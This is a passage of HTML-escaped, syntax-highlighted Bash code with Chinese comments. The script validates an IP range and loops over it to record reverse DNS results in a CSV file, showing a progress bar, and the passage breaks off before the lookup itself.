&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$#&lt;/span&gt; -ne &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;需要三个参数：网络地址、起始IP和结束IP&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;NETWORK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;START_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;END_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$3&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 验证IP范围&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; ! &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$START_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ ^&lt;span class="o"&gt;[&lt;/span&gt;0-9&lt;span class="o"&gt;]&lt;/span&gt;+$ &lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; ! &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$END_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ ^&lt;span class="o"&gt;[&lt;/span&gt;0-9&lt;span class="o"&gt;]&lt;/span&gt;+$ &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;起始IP和结束IP必须是数字&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$START_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -gt &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$END_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;起始IP不能大于结束IP&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置输出文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;SAFE_NETWORK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$NETWORK&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr -cd &lt;span class="s1"&gt;&amp;#39;[:alnum:]._-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;CSV_OUTPUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SAFE_NETWORK&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;_&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;START_IP&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;END_IP&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;_reverse_dns.csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 创建临时文件存储结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;RESULT_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;mktemp&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算总数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TOTAL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;END_IP &lt;span class="o"&gt;-&lt;/span&gt; START_IP &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 开始扫描&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;开始反向DNS扫描&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;网络地址: &lt;/span&gt;&lt;span class="nv"&gt;$NETWORK&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;IP范围: &lt;/span&gt;&lt;span class="nv"&gt;$START_IP&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="nv"&gt;$END_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描数量: &lt;/span&gt;&lt;span class="nv"&gt;$TOTAL&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;开始时间: &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;CSV输出文件: &lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;START_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%s&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;COUNT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FOUND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 初始化CSV文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;IP地址,域名&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 主扫描循环&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; CIP in &lt;span class="k"&gt;$(&lt;/span&gt;seq &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$START_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$END_IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;NETWORK&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CIP&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 进度统计&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;COUNT++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算时间和进度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;CURRENT_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%s&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ELAPSED_SEC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;CURRENT_TIME &lt;span class="o"&gt;-&lt;/span&gt; START_TIME&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$COUNT&lt;/span&gt; -gt &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;AVG_TIME_PER_REC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;ELAPSED_SEC &lt;span class="o"&gt;/&lt;/span&gt; COUNT&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;REMAINING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL &lt;span class="o"&gt;-&lt;/span&gt; COUNT&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ESTIMATED_REMAINING_SEC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;AVG_TIME_PER_REC &lt;span class="o"&gt;*&lt;/span&gt; REMAINING&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;MINS_REMAINING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;ESTIMATED_REMAINING_SEC &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;SECS_REMAINING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;ESTIMATED_REMAINING_SEC &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算进度百分比&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;PERCENT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;COUNT &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="m"&gt;100&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; TOTAL&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建简洁的当前查询显示&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;display_query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;IP&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; -gt &lt;span class="m"&gt;25&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;display_query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;22&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建进度条&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; i&amp;lt;50&lt;span class="p"&gt;;&lt;/span&gt; i++&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; -lt &lt;span class="k"&gt;$((&lt;/span&gt;PERCENT &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;#&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 显示进度信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;进度: [%-50s] %3d%% | %d/%d | 时间: %02d:%02d | ETA: %02d:%02d | 当前: %s\r&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$bar&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="nv"&gt;$PERCENT&lt;/span&gt; &lt;span class="nv"&gt;$COUNT&lt;/span&gt; &lt;span class="nv"&gt;$TOTAL&lt;/span&gt; &lt;span class="se"&gt;\
